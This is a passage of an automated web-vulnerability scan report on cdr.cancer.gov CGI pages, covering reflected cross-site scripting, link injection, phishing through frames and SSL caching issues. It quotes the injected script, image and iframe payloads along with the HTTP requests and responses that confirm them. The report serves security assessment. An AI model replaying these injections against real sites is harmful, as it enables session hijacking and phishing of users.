| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1084.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/InvalidDocs.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1084.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:02:45 GMT
Connection: close
Content-Length: 3793

...
='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='"'> <IMG SRC="/WF_XSRF1084.html"> '>
<b>Document Type: </b>
<select name='docType'>
<option value=''></option>
<option value='17'>Citation </option>
<option value='39'>ClinicalTrialSearchString </option>
<option value='5'>Country </option>
<option value='34'>CTGovProtocol </o
...
...
='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='"'> <IMG SRC="/WF_XSRF1084.html"> '>
<b>Document Type: </b>
<select name='docType'>
<option value=''></option>
<option value='17'>Citation </option>
```

```
        <option value='39'>ClinicalTrialSearchString </option>
        <option value='5'>Country </option>
        <option value='34'>CTGovProtocol </o
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448318 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1083+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/InvalidDocs.py? Session=None%27%22%3E%3Ciframe+id%3D1083+src%3Dhttp%3A%2F%2Fdemo.
testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:02:45 GMT
Connection: close
Content-Length: 3827

...
quest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='None'"> <iframe id=1083 src= http://demo.testfire.net/
phishing.html > >'>
<b>Document Type: </b>
<select name='docType'>
<option value=''></option>
<option value='17'>Citation </option>
<option value='39'>ClinicalTrialSearchString </option>
<option value='5'>Country </option>
<option value='34'>CT
...
...
quest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='None'"> <iframe id=1083 src= http://demo.testfire.net/
phishing.html > >'>
<b>Document Type: </b>
<select name='docType'>
<option value=''></option>
```

```
        <option value='17'>Citation </option>
        <option value='39'>ClinicalTrialSearchString </option>
        <option value='5'>Country </option>
        <option value='34'>CT
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448092 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/InvalidDocs.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:14 GMT
Connection: close
Content-Length: 3765

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448194 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/InvalidDocs.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/InvalidDocs.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:41 GMT
Connection: close
Content-Length: 3765

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448207 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1118)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/LinkedDocs.py? Session=None'/><script>alert(1118)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:03:28 GMT
Connection: close
Content-Length: 5987

...
io' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1118) </script>'>
</FORM>
</BODY>
</HTML>

...
io' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1118) </script>'>
</FORM>
</BODY>
</HTML>
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448113 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1115.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/LinkedDocs.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1115.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:03:27 GMT
Connection: close
Content-Length: 5984

...
ut type='radio' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1115.html"> '>
</FORM>
</BODY>
</HTML>

...
ut type='radio' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1115.html"> '>
</FORM>
</BODY>
</HTML>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448188 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1114+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/LinkedDocs.py? Session=None%27%22%3E%3Ciframe+id%3D1114+src%3Dhttp%3A%2F%2Fdemo.t
estfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:03:27 GMT
Connection: close
Content-Length: 6018

...
ype='radio' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1114 src= http://demo.testfire.net/p
hishing.html > >'>
</FORM>
</BODY>
</HTML>

...
ype='radio' name='WithBlocked2' value='Y' id='Y2'>
   
<label for='N2'>No</label>
<input type='radio' name='WithBlocked2' value='N' CHECKED id='N2'>
</td>
</tr>
</table>
</fieldset>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1114 src= http://demo.testfire.net/p
hishing.html > >'>
</FORM>
</BODY>
</HTML>
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448097 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/LinkedDocs.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:14 GMT
Connection: close
Content-Length: 5956

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Linked Documents Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448261 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/LinkedDocs.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/LinkedDocs.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:46 GMT
Connection: close
Content-Length: 5956

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Linked Documents Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py - 4 issue(s)

### Issue 1 of 4

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448263 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 17

**The following changes were applied to the original request:**

```
Injected 'None/><script>alert(1676)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaCaptionContent.py? Session=None/><script>alert(1676)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:09:58 GMT
Connection: close
Content-Length: 11452

...
" selected="1">All Audiences</option>
<option value="Health professionals">HP</option>
<option value="Patients">Patient</option>
</select></td>
</tr>
</table>
</center>
</fieldset>
<input type="hidden" name=Session value=None/><script> alert(1676) </script> />
</form>
</body>
</html>

...
" selected="1">All Audiences</option>
<option value="Health professionals">HP</option>
<option value="Patients">Patient</option>
</select></td>
</tr>
</table>
</center>
</fieldset>
<input type="hidden" name=Session value=None/><script> alert(1676) </script> />
</form>
</body>
</html>
```

## Issue 2 of 4

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448274 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1672+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaCaptionContent.py? Session=None%27%22%3E%3Ciframe+id%3D1672+src%3Dhttp%3A%2F
%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:09:56 GMT
Connection: close
Content-Length: 11484


...
ue="all" selected="1">All Audiences</option>
<option value="Health professionals">HP</option>
<option value="Patients">Patient</option>
</select></td>
</tr>
</table>
</center>
</fieldset>
<input type="hidden" name=Session value=None'"> <iframe id=1672 src= http://demo.testfire.net/phis
hing.html > > />
</form>
</body>
</html>


...
ue="all" selected="1">All Audiences</option>
<option value="Health professionals">HP</option>
<option value="Patients">Patient</option>
</select></td>
</tr>
</table>
</center>
</fieldset>
<input type="hidden" name=Session value=None'"> <iframe id=1672 src= http://demo.testfire.net/phis
hing.html > > />
</form>
</body>
</html>
```

## Issue 3 of 4

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448278 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/MediaCaptionContent.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/MediaCaptionContent.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:39 GMT
Connection: close
Content-Length: 11422

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Administrative Subsystem</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 4 of 4

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448288 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/MediaCaptionContent.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:08 GMT
Connection: close
Content-Length: 11422

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Administrative Subsystem</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448306 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

Injected 'None'/><script>alert(1583)</script>' into the value of parameter 'Session'

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
GET /cgi-bin/cdr/MediaLists.py? Session=None'/><script>alert(1583)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:39 GMT
Connection: close
Content-Length: 10665

...
E='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1583) </script>'>

<fieldset>
<legend> Display CDR-ID? </legend>
<input name='showId' type='radio' id="idNo"
value='N' CHECKED>
<label for="idNo">Without CDR-ID</label>
<br>
<input name='showId' type='radio' id="idYes"
value='Y'>
<label
...
...
E='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1583) </script>'>
```

```
        <fieldset>
        <legend> Display CDR-ID? </legend>
        <input name='showId' type='radio' id="idNo"
        value='N' CHECKED>
        <label for="idNo">Without CDR-ID</label>
        <br>
        <input name='showId' type='radio' id="idYes"
        value='Y'>
        <label
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448209 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1580.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/MediaLists.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1580.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:37 GMT
Connection: close
Content-Length: 10662

...
equest' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1580.html"> '>

<fieldset>
<legend> Display CDR-ID? </legend>
<input name='showId' type='radio' id="idNo"
value='N' CHECKED>
<label for="idNo">Without CDR-ID</label>
<br>
<input name='showId' type='radio' id="idYes"
value='Y'>
<label for="idY
...
...
equest' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Media Lists - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
